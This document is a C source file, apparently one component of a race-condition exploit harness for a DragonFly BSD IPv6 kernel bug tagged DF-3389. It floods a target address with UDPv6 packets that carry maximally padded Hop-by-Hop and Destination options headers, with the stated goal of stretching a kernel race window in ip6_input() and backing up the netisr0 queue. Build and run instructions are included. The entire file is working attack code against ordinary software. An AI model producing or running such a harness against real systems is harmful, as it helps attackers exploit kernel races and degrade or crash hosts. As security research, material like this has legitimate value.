/* DF-3389 race harness — window stretcher (unprivileged).
 *
 * UDPv6 packets to the raced address carrying a maximally padded
 * Hop-by-Hop + Destination options header chain (RFC3542 advanced API,
 * sticky socket options; no privilege required in DragonFly).  These
 * packets get the ia6 tag stored at ip6_input.c:490/536, then spend the
 * maximum possible time inside ip6_input() parsing extension headers
 * before the terminal-header defer at ip6_input.c:743-755 — stretching
 * the capture->enqueue window and deepening the netisr0 queue backlog.
 *
 * build:  cc -O2 -o stretch stretch.c
 * run:    ./stretch <seconds> [addr]
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netinet/ip6.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

static void
fill_opts(unsigned char *buf, int buflen)
{
	int i;

	/* Pad1 option (type 0) repeated: legal, cheap to build, forces the
	 * kernel to walk the whole option buffer byte-by-byte. */
	for (i = 0; i < buflen; i++)
		buf[i] = 0;
}

int
main(int argc, char **argv)
{
	double dur = argc > 1 ? atof(argv[1]) : 60.0;
	const char *addr = argc > 2 ? argv[2] : "fd99:3389::1";
	struct sockaddr_in6 dst;
	struct timeval t0, t1;
	unsigned char hbh[2048], dsto[2048];
	unsigned long n = 0, last = 0;
	double el, lastel = 0;
	int s, rc;

	memset(&dst, 0, sizeof(dst));
	dst.sin6_family = AF_INET6;
	dst.sin6_port = htons(33891);
	if (inet_pton(AF_INET6, addr, &dst.sin6_addr) != 1) {
		fprintf(stderr, "inet_pton: %s\n", addr);
		return 1;
	}

	/* struct ip6_hbh / ip6_dest: nxt(1) len(1) then options.
	 * len field counts 8-octet units after the first 8: 255 -> 2048B. */
	memset(hbh, 0, sizeof(hbh));
	hbh[1] = 255;
	fill_opts(hbh + 2, sizeof(hbh) - 2);
	memset(dsto, 0, sizeof(dsto));
	dsto[1] = 255;
	fill_opts(dsto + 2, sizeof(dsto) - 2);

	s = socket(AF_INET6, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		return 1;
	}
	rc = setsockopt(s, IPPROTO_IPV6, IPV6_HOPOPTS, hbh, sizeof(hbh));
	if (rc < 0)
		printf("stretch pid=%d HOPOPTS rc=%d errno=%d (%s)\n",
		    getpid(), rc, errno, strerror(errno));
	rc = setsockopt(s, IPPROTO_IPV6, IPV6_DSTOPTS, dsto, sizeof(dsto));
	if (rc < 0)
		printf("stretch pid=%d DSTOPTS rc=%d errno=%d (%s)\n",
		    getpid(), rc, errno, strerror(errno));

	gettimeofday(&t0, NULL);
	for (;;) {
		unsigned char pkt[64];
		sendto(s, pkt, sizeof(pkt), 0,
		    (struct sockaddr *)&dst, sizeof(dst));
		n++;

		gettimeofday(&t1, NULL);
		el = (t1.tv_sec - t0.tv_sec) + (t1.tv_usec - t0.tv_usec) / 1e6;
		if (el - lastel >= 5.0) {
			printf("stretch pid=%d rate=%.0f/s total=%lu\n",
			    getpid(), (n - last) / (el - lastel), n);
			fflush(stdout);
			last = n;
			lastel = el;
		}
		if (el >= dur)
			break;
	}
	printf("stretch pid=%d DONE total=%lu\n", getpid(), n);
	return 0;
}
